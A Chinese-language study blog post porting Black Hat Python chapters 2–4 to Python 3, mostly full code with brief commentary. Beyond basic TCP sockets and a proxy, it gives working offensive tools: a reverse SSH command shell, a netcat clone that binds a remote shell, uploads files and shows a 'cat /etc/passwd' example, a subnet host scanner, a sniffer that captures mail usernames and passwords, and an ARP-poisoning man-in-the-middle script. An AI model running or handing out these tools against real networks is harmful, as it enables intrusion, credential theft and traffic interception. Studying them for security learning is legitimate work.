動機
來做個筆記吧
這裡有帶到基本的network programming與SSH的使用
環境 & py3
書上的code是py2,同時code很舊,因此會用這個repo的code來解釋
用WSL2測試
CH2
基本的TCP client&server
tcp_client.py
import socket
target_host = "127.0.0.1"
target_port = 9999
# create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# connect the client
client.connect((target_host, target_port))
# NULL!!!
# send some data
client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
# client.sendto(b"AAABBBCCC", (target_host, target_port))
# receive data
response = client.recv(4096)
print(response)
UDP & TCP client的差別在
socket (創socket時) | connect (與server建立連線,三段握手) | send (送資料) | |
---|---|---|---|
UDP | SOCK_STREAM | 不用 | sendto(data, tuple) |
TCP | SOCK_DGRAM | connect((target_host, target_port)) | send(data) |
tcp_server.py
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print("[*] Listening on %s:%d" % (bind_ip, bind_port))
# this is our client handling thread
def handle_client(client_socket):
# just print out what the client sends
request = client_socket.recv(1024)
print("[*] Received: %s" % request)
# send back a packet
client_socket.send(b"ACK!")
print(client_socket.getpeername())
client_socket.close()
while True:
client, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
# spin up our client thread to handle incoming data
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
這裡是用thread來處理每個進來的連線,之後會看到在同一個thread(就原本收連線的thread)處理每個進來的連線的手法(select,epool)
tcp_proxy.py
import sys
import socket
import threading
# this is a pretty hex dumping function directly taken from
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
s = src[i:i + length]
hexa = b' '.join([b"%0*X" % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(
b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
print(b'\n'.join(result))
def receive_from(connection):
buffer = b''
# We set a 2 second time-out. Depending on your target this may need
# to be adjusted
connection.settimeout(2)
try:
# keep reading into the buffer until there's no more data or we
# time-out
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except TimeoutError:
pass
return buffer
# modify any requests destined for the remote host
def request_handler(buffer):
# perform packet modifications
return buffer
# modify any responses destined for the local host
def response_handler(buffer):
# perform packet modifications
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
# connect to the remote host
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port))
# receive data from the remote end if necessary
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
# send it to our response handler
remote_buffer = response_handler(remote_buffer)
# if we have data to send to our local client send it
if len(remote_buffer):
print("[<==] Sending %d bytes to localhost." % len(remote_buffer))
client_socket.send(remote_buffer)
# now let's loop and read from local, send to remote, send to local
# rinse wash repeat
while True:
# read from local host
local_buffer = receive_from(client_socket)
if len(local_buffer):
print("[==>] Received %d bytes from localhost." % len(local_buffer))
hexdump(local_buffer)
# send it to our request handler
local_buffer = request_handler(local_buffer)
# send off the data to the remote host
remote_socket.send(local_buffer)
print("[==>] Sent to remote.")
# receive back the response
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print("[<==] Received %d bytes from remote." % len(remote_buffer))
hexdump(remote_buffer)
# send to our response handler
remote_buffer = response_handler(remote_buffer)
# send the response to the local socket
client_socket.send(remote_buffer)
print("[<==] Sent to localhost.")
# if no more data on either side close the connections
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print("[*] No more data. Closing connections.")
break
def server_loop(local_host, local_port, remote_host, remote_port,
receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host, local_port))
except socket.error as exc:
print("[!!] Failed to listen on %s:%d" % (local_host,
local_port))
print("[!!] Check for other listening sockets or correct "
"permissions.")
print(f"[!!] Caught exception error: {exc}")
sys.exit(0)
print("[*] Listening on %s:%d" % (local_host, local_port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# print out the local connection information
print("[==>] Received incoming connection from %s:%d" % (
addr[0], addr[1]))
# start a thread to talk to the remote host
proxy_thread = threading.Thread(target=proxy_handler, args=(
client_socket, remote_host, remote_port, receive_first))
proxy_thread.start()
def main():
# no fancy command line parsing here
if len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport] [remotehost] "
"[remoteport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)
# setup local listening parameters
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# setup remote target
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# this tells our proxy to connect and receive data
# before sending to the remote host
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
# now spin up our listening socket
server_loop(local_host, local_port, remote_host, remote_port, receive_first)
main()
proxy的邏輯:
=...=>
是網路的部分,-...->
是記憶體讀寫的部分。
開頭有大寫的是程式,開頭有底線是指令。
Client => Proxy => Real_server
看得更細一點
Client = (proxy_ip,local_port) => ( _recv - write_buffer -> _send - read_buffer ->) = (server_ip,server_port) => Real_server
如果自己要玩的話,有個問題是他會先一直讀send的東西到write_buffer,但到什麼時候才要停止?
這尷尬的是client一直send卻沒有停下來的訊號,要做出這個訊號要利用shutdown
如下
>>> c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> c.connect(('127.0.0.1',9988))
>>> c.send(b'wow')
3
>>> c.shutdown(socket.SHUT_WR)
>>> s = c.recv(4096)
>>> s
b'ACK!'
paramiko: 用python操作SSH
先啟動WSL2的sshd
- 改
/etc/ssh/sshd_config
Port = 22
ListenAddress 0.0.0.0
PasswordAuthentication yes
- 重新啟動sshd
dpkg-reconfigure openssh-server
sudo service ssh restart
ssh_command.py
import paramiko
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# client can also support using key files
# client.load_host_keys('/home/user/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print(ssh_session.recv(1024))
return
ssh_command('127.0.0.1', 'justin', 'lovesthepython', 'ls -al')
連線的流程:
SSHClient(new client) -> connect [ip,(account, pw)] -> get_transport -> open_session
類比
socket (SOCK_STREAM) -> connect((ip, port)) -> [Nope] -> accept
bh_sshRcmd.py
import subprocess
import paramiko
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# client can also support using key files
# client.load_host_keys('/home/user/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)# 這個其實可以不用
print(ssh_session.recv(1024)) # read banner
## === new ===
while True:
# get the command from the SSH server
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception as e:
ssh_session.send(str(e))
## === new end ===
client.close()
return
ssh_command('192.168.100.130', 'justin', 'lovesthepython', 'ClientConnected')
現在是在bh_sshRcmd.py
執行指令再塞回去,這邊就是reverse tunnel的fu
不過這要能運作要配合下面的code
bh_sshserver.py
import socket
import paramiko
import threading
import sys
# using the server host key from the paramiko demo files
host_key = paramiko.RSAKey(filename='test_rsa.key')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if username == 'root' and password == 'toor':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print("[+] Listening for connection...")
client, addr = sock.accept()
except Exception as e:
print("[-] Listen failed: " + str(e))
sys.exit(1)
print("[+] Got a connection!")
try:
# noinspection PyTypeChecker
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException:
print("[-] SSH negotiation failed.")
chan = bhSession.accept(20)
print("[+] Authenticated!")
print(chan.recv(1024)) # 這段其實不用
chan.send("Welcome to bh_ssh!")
while True:
try:
command = input("Enter command: ").strip("\n")
if command != "exit":
chan.send(command)
print(chan.recv(1024).decode(errors="ignore") + "\n")
else:
chan.send("exit")
print("Exiting...")
bhSession.close()
raise Exception("exit")
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print("[-] Caught exception: " + str(e))
bhSession.close()
finally:
sys.exit(1)
大概的流程是
- client連到server
- server丟指令到client
- client跑指令回傳結果
這邊就是自幹reverse tunnel
下面就是包好的版本 要注意到因為目的是relay sshd的東西到server 所以剛剛例子是跑指令的部分變成proxy的code
rforward.py
#!/usr/bin/env python
# Copyright (C) 2008 Robey Pointer <robeypointer@gmail.com>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
"""
Sample script showing how to do remote port forwarding over paramiko.
This script connects to the requested SSH server and sets up remote port
forwarding (the openssh -R option) from a remote port through a tunneled
connection to a destination reachable from the local machine.
"""
import getpass
import socket
import select
import sys
import threading
from optparse import OptionParser
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port)) # 與剛剛的例子對比,原本是在這裡跑指令,不過這邊是連到另一台server
except Exception as e:
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
return
verbose(
"Connected! Tunnel open %r -> %r -> %r"
% (chan.origin_addr, chan.getpeername(), (host, port))
)
while True:
# chan(sshd) <-> sock(real server)
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose("Tunnel closed from %r" % (chan.origin_addr,))
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
transport.request_port_forward("", server_port) # bind("0.0.0.0", server_port)
while True:
chan = transport.accept(1000) # accept 來自sshd的連線
if chan is None:
continue
thr = threading.Thread(
target=handler, args=(chan, remote_host, remote_port)
)
thr.setDaemon(True)
thr.start()
def verbose(s):
if g_verbose:
print(s)
HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
def get_host_port(spec, default_port):
"""parse 'hostname:22' into a host and port, with the port optional"""
args = (spec.split(":", 1) + [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1]
def parse_options():
global g_verbose
parser = OptionParser(
usage="usage: %prog [options] <ssh-server>[:<server-port>]",
version="%prog 1.0",
description=HELP,
)
parser.add_option(
"-q",
"--quiet",
action="store_false",
dest="verbose",
default=True,
help="squelch all informational output",
)
parser.add_option(
"-p",
"--remote-port",
action="store",
type="int",
dest="port",
default=DEFAULT_PORT,
help="port on server to forward (default: %d)" % DEFAULT_PORT,
)
parser.add_option(
"-u",
"--user",
action="store",
type="string",
dest="user",
default=getpass.getuser(),
help="username for SSH authentication (default: %s)"
% getpass.getuser(),
)
parser.add_option(
"-K",
"--key",
action="store",
type="string",
dest="keyfile",
default=None,
help="private key file to use for SSH authentication",
)
parser.add_option(
"",
"--no-key",
action="store_false",
dest="look_for_keys",
default=True,
help="don't look for or use a private key file",
)
parser.add_option(
"-P",
"--password",
action="store_true",
dest="readpass",
default=False,
help="read password (for key or password auth) from stdin",
)
parser.add_option(
"-r",
"--remote",
action="store",
type="string",
dest="remote",
default=None,
metavar="host:port",
help="remote host and port to forward to",
)
options, args = parser.parse_args()
if len(args) != 1:
parser.error("Incorrect number of arguments.")
if options.remote is None:
parser.error("Remote address required (-r).")
g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port)
def main():
options, server, remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass("Enter SSH password: ")
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
try:
client.connect(
server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password,
)
except Exception as e:
print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
sys.exit(1)
verbose(
"Now forwarding remote port %d to %s:%d ..."
% (options.port, remote[0], remote[1])
)
try:
reverse_forward_tunnel(
options.port, remote[0], remote[1], client.get_transport()
)
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0)
if __name__ == "__main__":
main()
總複習: Netcat Replacement
bhnet.py
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# this runs a command and returns the output
def run_command(cmd):
# trim the newline
cmd = cmd.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(cmd, stderr=subprocess.STDOUT,
shell=True)
except subprocess.CalledProcessError as e:
output = e.output
# send the output back to the client
return output
# this handles incoming client connections
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to our destination
file_buffer = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer.encode('utf-8'))
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send(
"Successfully saved file to %s\r\n" % upload_destination)
except OSError:
client_socket.send(
"Failed to save file to %s\r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ".encode('utf-8'))
# now we receive until we see a linefeed (enter key)
cmd_buffer = b''
while b"\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# we have a valid command so execute it and send back the results
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
# this is for incoming connections
def server_loop():
global target
global port
# if no target is defined we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
# if we don't listen we are a client... make it so.
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target, port))
# if we detect input from stdin send it
# if not we are going to wait for the user to punch some in
if len(buffer):
client.send(buffer.encode('utf-8'))
while True:
# now wait for data back
recv_len = 1
response = b''
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response.decode('utf-8'), end=' ')
# wait for more input
buffer = input("")
buffer += "\n"
# send it off
client.send(buffer.encode('utf-8'))
except socket.error as exc:
# just catch generic errors - you can do your homework to beef this up
print("[*] Exception! Exiting.")
print(f"[*] Caught exception socket.error: {exc}")
# teardown the connection
client.close()
def usage():
print("Netcat Replacement")
print()
print("Usage: bhpnet.py -t target_host -p port")
print(
"-l --listen - listen on [host]:[port] for incoming "
"connections")
print(
"-e --execute=file_to_run - execute the given file upon receiving "
"a connection")
print("-c --command - initialize a command shell")
print(
"-u --upload=destination - upon receiving connection upload a file "
"and write to [destination]")
print()
print()
print("Examples: ")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target",
"port", "command", "upload"])
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
except getopt.GetoptError as err:
print(str(err))
usage()
# are we going to listen or just send data from STDIN?
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
就是proxy + run_command + server + client的集大成(不包含SSH) 作為netcat(nc)的替代品
CH3
這章就是介紹raw socket,沒有第四層的socket
sniffer_basic.py
import socket
import os
# host to listen on
host = "192.168.0.196"
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0)) # 沒有第四層,就不用port
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send an IOCTL
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# read in a single packet
print(sniffer.recvfrom(65535))
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
設定一個socket接收所有packet,但收到的資料都是byte,要依據protocol的規定轉成對應的datatype
sniffer_ip_header_decode.py
import socket
import os
import struct
from ctypes import *
# host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_uint32),
("dst", c_uint32)
]
def __new__(cls, socket_buffer=None):
return cls.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
self.socket_buffer = socket_buffer
# map protocol constants to their names
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
# human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("@I", self.src))
self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst))
# human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except IndexError:
self.protocol = str(self.protocol_num)
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send some ioctl
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65535)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[:20])
print("Protocol: %s %s -> %s" % (
ip_header.protocol,
ip_header.src_address,
ip_header.dst_address)
)
except KeyboardInterrupt:
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
這很像把水用成造型冰塊一樣,把byte依據field的規定來找出我們需要的資訊
sniffer_with_icmp.py
import socket
import os
import struct
from ctypes import *
# host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4), # c_ubyte的前4個bits
("version", c_ubyte, 4), # c_ubyte的後4個bits
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_uint32),
("dst", c_uint32)
]
def __new__(cls, socket_buffer=None):
return cls.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
self.socket_buffer = socket_buffer
# map protocol constants to their names
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
# human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("@I", self.src))
self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst))
# human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except IndexError:
self.protocol = str(self.protocol_num)
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(cls, socket_buffer):
return cls.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
self.socket_buffer = socket_buffer
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send some ioctl
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65535)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[:20])
print("Protocol: %s %s -> %s" % (
ip_header.protocol,
ip_header.src_address,
ip_header.dst_address)
)
# if it's ICMP we want it
if ip_header.protocol == "ICMP":
# calculate where our ICMP packet starts
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
# create our ICMP structure
icmp_header = ICMP(buf)
print("ICMP -> Type: %d Code: %d" % (
icmp_header.type,
icmp_header.code)
)
# handle CTRL-C
except KeyboardInterrupt:
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
ICMP是(IP (ICMP ...))
的包裝
但都byte要怎麼區分哪裡是IP還是ICMP的byte?
因此IP要知道自己有多長(ip_header.ihl * 4
,乘4是因為ihl的單位是4bytes),這樣就可以知道ICMP從哪邊開始
scanner.py
import socket
import os
import struct
import threading
from ipaddress import ip_address, ip_network
from ctypes import *
# host to listen on
host = "192.168.0.187"
# subnet to target
tgt_subnet = "192.168.0.0/24"
# magic we'll check ICMP responses for
tgt_message = "PYTHONRULES!"
def udp_sender(sub_net, magic_message):
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for ip in ip_network(sub_net).hosts():
sender.sendto(magic_message.encode('utf-8'), (str(ip), 65212))
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_uint32),
("dst", c_uint32)
]
def __new__(cls, socket_buffer=None):
return cls.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
self.socket_buffer = socket_buffer
# map protocol constants to their names
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
# human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("@I", self.src))
self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst))
# human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except IndexError:
self.protocol = str(self.protocol_num)
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(cls, socket_buffer):
return cls.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
self.socket_buffer = socket_buffer
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send some ioctl
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# start sending packets
t = threading.Thread(target=udp_sender, args=(tgt_subnet, tgt_message))
t.start()
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65535)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[:20])
print("Protocol: %s %s -> %s" % (
ip_header.protocol,
ip_header.src_address,
ip_header.dst_address)
)
# if it's ICMP we want it
if ip_header.protocol == "ICMP":
# calculate where our ICMP packet starts
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
# create our ICMP structure
icmp_header = ICMP(buf)
print("ICMP -> Type: %d Code: %d" % (
icmp_header.type,
icmp_header.code)
)
# now check for the TYPE 3 and CODE 3 which indicates
# a host is up but no port available to talk to
if icmp_header.code == 3 and icmp_header.type == 3:
# check to make sure we are receiving the response
# that lands in our subnet
if ip_address(ip_header.src_address) in ip_network(tgt_subnet):
# test for our magic message
if raw_buffer[len(raw_buffer)
- len(tgt_message):] == tgt_message:
print("Host Up: %s" % ip_header.src_address)
# handle CTRL-C
except KeyboardInterrupt:
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
目的是找出子網路中的活動ip
流程是一個thraed對某個子網路的所有ip送udp,如果host還活著,就會退回封包並加上icmp格式的錯誤訊息
CH4
mail_sniffer.py
from kamene.all import *
# our packet callback
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = bytes(packet[TCP].payload)
if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower():
print("[*] Server: %s" % packet[IP].dst)
print("[*] %s" % packet[TCP].payload)
# fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",
prn=packet_callback,
store=0)
這應該很直觀,目的是看tcp payload有沒有user與pass
之後應該補個tcpdump的條件式語法。
arper.py
from kamene.all import *
import sys
import threading
interface = "en1"
tgt_ip = "172.16.1.71"
tgt_gateway = "172.16.1.254"
packet_count = 1000
poisoning = True
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
# slightly different method using send
print("[*] Restoring target...")
send(ARP(op=2,
psrc=gateway_ip,
pdst=target_ip,
hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=gateway_mac),
count=5)
send(ARP(op=2,
psrc=target_ip,
pdst=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=target_mac),
count=5)
def get_mac(ip_address):
responses, unanswered = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address),
timeout=2,
retry=10
)
# return the MAC address from a response
for s, r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
global poisoning
poison_tgt = ARP()
poison_tgt.op = 2
poison_tgt.psrc = gateway_ip
poison_tgt.pdst = target_ip
poison_tgt.hwdst = target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
print("[*] Beginning the ARP poison. [CTRL-C to stop]")
while poisoning:
send(poison_tgt)
send(poison_gateway)
time.sleep(2)
print("[*] ARP poison attack finished.")
return
# set our interface
conf.iface = interface
# turn off output
conf.verb = 0
print("[*] Setting up %s" % interface)
tgt_gateway_mac = get_mac(tgt_gateway)
if tgt_gateway_mac is None:
print("[!!!] Failed to get gateway MAC. Exiting.")
sys.exit(0)
else:
print("[*] Gateway %s is at %s" % (tgt_gateway, tgt_gateway_mac))
tgt_mac = get_mac(tgt_ip)
if tgt_mac is None:
print("[!!!] Failed to get target MAC. Exiting.")
sys.exit(0)
else:
print("[*] Target %s is at %s" % (tgt_ip, tgt_mac))
# start poison thread
poison_thread = threading.Thread(target=poison_target,
args=(tgt_gateway,
tgt_gateway_mac,
tgt_ip,
tgt_mac)
)
poison_thread.start()
try:
print("[*] Starting sniffer for %d packets" % packet_count)
bpf_filter = "ip host %s" % tgt_ip
packets = sniff(count=packet_count,
filter=bpf_filter,
iface=interface
)
# write out the captured packets
print("[*] Writing packets to arper.pcap")
wrpcap('arper.pcap', packets)
except KeyboardInterrupt:
pass
finally:
poisoning = False
# wait for poisoning thread to exit
